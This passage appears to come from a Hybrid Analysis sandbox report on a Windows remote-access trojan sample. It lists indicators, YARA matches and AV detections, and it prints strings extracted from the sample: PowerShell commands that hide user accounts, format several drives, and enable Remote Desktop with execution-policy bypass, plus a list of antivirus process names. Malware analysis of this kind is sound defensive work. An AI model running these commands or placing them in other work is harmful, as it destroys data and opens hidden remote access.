Venom -PropertyType DWord -Value 0 -Force\" (Indicator: \"New-ItemProperty\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found string \"New-ItemProperty -Path HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -Name Durios -PropertyType DWord -Value 0 -Force\" (Indicator: \"New-ItemProperty\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found string \"New-ItemProperty -Path HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -Name Venom -PropertyType DWord -Value 0 -Force\" (Indicator: \"New-ItemProperty\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-367","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$57","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"$58","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfo\" (Indicator: \"SystemParametersInfo\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"SystemParametersInfo\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify volumes (Powershell command string)","description":"Found string \"/k start /b powershell Format-Volume -DriveLetter B,C,D,E,F,G,I,J -FileSystem FAT32 -Confirm:$false\" (Indicator: \"Format-Volume\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found string \"k start /b powershell Format-Volume -DriveLetter B,C,D,E,F,G,I,J -FileSystem FAT32 -Confirm:$false\" (Indicator: \"Format-Volume\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-388","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$59","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"System Security","name":"Contains reference to command shell related registry path","description":"Found string \"Folder\\shell\\open\\command\" (Indicator: \"folder\\shell\\open\\command\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found string \"Software\\Classes\\Folder\\shell\\open\\command\" (Indicator: \"folder\\shell\\open\\command\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found string \"oftware\\Classes\\Folder\\shell\\open\\command\" (Indicator: \"folder\\shell\\open\\command\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548.002","relevance":1,"id":"string-580","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"System Security","name":"Found anti-virus related strings names","description":"\"Antivirus\" (Indicator: \"antivir\")\n \"Antivirus disabled.\" (Indicator: \"antivir\")\n \"aswUpdSv\" (Indicator: \"aswupdsv\")\n \"ashServ\" (Indicator: \"ashserv\")\n \"avguard\" (Indicator: \"avguard\")\n \"ashMaiSv\" (Indicator: \"ashmaisv\")\n \"Mcafeeupdate\" (Indicator: \"mcafee\")\n \"persfw\" (Indicator: \"persfw\")\n \"avgwdsvc\" (Indicator: \"avgw\")\n \"avgemc\" (Indicator: \"avgemc\")\n \"mcshield\" (Indicator: \"mcshield\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":3,"id":"string-134","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\".exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"Found string \"ExecutionPolicy Bypass -WindowStyle Hidden -Command Enable-NetFirewallRule -DisplayGroup 'Remote Desktop' & exit\" (Indicator: \"Enable-NetFirewallRule\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found string \"/k start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden -Command Enable-NetFirewallRule -DisplayGroup 'Remote Desktop' & exit\" (Indicator: \"Enable-NetFirewallRule\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found string \"xecutionPolicy Bypass -WindowStyle Hidden -Command Enable-NetFirewallRule -DisplayGroup 'Remote Desktop' & exit\" (Indicator: \"Enable-NetFirewallRule\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reference explorer.exe process","description":"Found string \"Windows\\\\explorer.exe\" (Indicator: \"explorer.exe\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found string \"explorer.exe\" (Indicator: \"explorer.exe\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found string \"/F /IM explorer.exe\" (Indicator: \"explorer.exe\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-481","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Unusual Characteristics","name":"References registry location(s) potentially used by malware","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-428","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".reloc with unusual entropies 0.101910425663","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Contains ability to decrypt/decode data","description":"Found reference to API \"CreateDecryptor\" (Indicator: \"CreateDecryptor\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"CreateDecryptor\" (Indicator: \"CreateDecryptor\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques","description":"\"vmware\" (Indicator: \"vmware\") in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin","origin":"File/Memory","mitre_attack_id":"T1497","relevance":4,"id":"string-1","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"52/70 Antivirus vendors marked sample as malicious (74% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"suspicious","category":"System Security","name":"Contains ability to hide user accounts","description":"Observed string: \"software\\microsoft\\windows nt\\currentversion\\winlogon\\specialaccounts\\userlist\"[Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin]\n Observed string: \"software\\microsoft\\windows nt\\currentversion\\winlogon\\specialaccounts\\userlist\"[Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp\n 00000000-00003464.00000001.68400.00172000.00000020.mdmp\n 00000000-00003464.00000002.70319.00172000.00000020.mdmp\n 00000000-00003464.00000003.75826.00172000.00000020.mdmp]","origin":"File/Memory","mitre_attack_id":"T1564.002","relevance":5,"id":"string-144","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\".exe\" wrote bytes \"0942d796\" to virtual address \"0x68EEF798\" (part of module \"CLR.DLL\")\n \".exe\" wrote bytes \"db4da07200000000\" to virtual address \"0x00172000\" (part of module \"1C300DA55B692124F8EFEDA5305D86D4E280BBB785EA87CFF49239DC026A7C55.EXE\")","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"52/70 Antivirus vendors marked sample as malicious (74% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"malicious","category":"Network Related","name":"Found a reference to an external IP address lookup service","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1016","relevance":6,"id":"string-56","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"MALWARE_Win_QuasarRAT\" matched file \"sample.bin\" as \"QuasarRAT payload\" (Author: ditekSHen)\n YARA signature \"MALWARE_Win_DLAgent09\" matched file \"sample.bin\" as \"Detects known downloader agent\" (Author: ditekSHen)\n YARA signature \"MALWARE_Win_DLAgent10\" matched file \"sample.bin\" as \"Detects known downloader agent\" (Author: ditekSHen)","origin":"YARA Signature","relevance":10,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Contains ability to listen for incoming connections"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Contains ability to retrieve information about the current system"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"name":"Evasive","details_count":5,"details":[{"detail":"Possibly tries to implement anti-virtualization techniques"},{"detail":"Possibly checks for the presence of a forensics/monitoring tool"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Possibly checks for the presence of an Antivirus engine"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":0,"imported_dlls_count":44,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":3,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["agent","banker","bypassuac","clipbanker","commodity","mamson","mineware","quasarrat","ransomware","rat","sabsik","small","venomrat","njrat","evasive"],"sandbox_reports":[{"id":"6491ba7d220f6280c40eb813","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"IL:Trojan.MSILMamut","submit_name":"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.exe","analysis_start_time":"2023-06-20T14:41:04+00:00","indicators_count":{"informative":157,"suspicious":33,"malicious":5},"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}],"processes":[{"pid":3464,"ppid":0,"name":"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.exe","command_line":"","sha256":"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55","normalized_path":"C:\\1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.exe","uid":"00000000-00003464","icon":"$5e"}],"all_imported_dlls":["api-ms-win-core-synch-l1-2-0.dll","VxSSL32.dll","sechost.dll","version.dll","msvcrt.dll","lpk.dll","profapi.dll","user32.dll","ole32.dll","fltLib.dll","rsaenh.dll","vcruntime140_clr0400.dll","uxtheme.dll","System.Drawing.ni.dll","cryptsp.dll","usp10.dll","mscoreei.dll","shell32.dll","oleaut32.dll","clr.dll","cryptbase.dll","clrjit.dll","System.Windows.Forms.dll","mscoree.dll","kernel32.dll","KernelBase.dll","advapi32.dll","nsi.dll","mscorlib.ni.dll","rpcss.dll","ws2_32.dll","psapi.dll","api-ms-win-core-xstate-l2-1-0.dll","System.ni.dll","System.Windows.Forms.ni.dll","nlssorting.dll","ntdll.dll","imm32.dll","bcrypt.dll","rpcrt4.dll","shlwapi.dll","ucrtbase_clr0400.dll","gdi32.dll","msctf.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]}],"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":null}},"report_ids":{"sandbox_job_ids":["6491ba7d220f6280c40eb813"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 1c300da55b69… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 1c300da55b69…. Malware family: Trojan.Generic. Threat score 100/100. 16/27 AV engines flagged this file. 5 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 1c300da55b69… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 1c300da55b69…. Malware family: Trojan.Generic. Threat score 100/100. 16/27 AV engines flagged this file. 5 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 1c300da55b69… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 1c300da55b69…. Malware family: Trojan.Generic. Threat score 100/100. 16/27 AV engines flagged this file. 5 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L5f","11",{}]]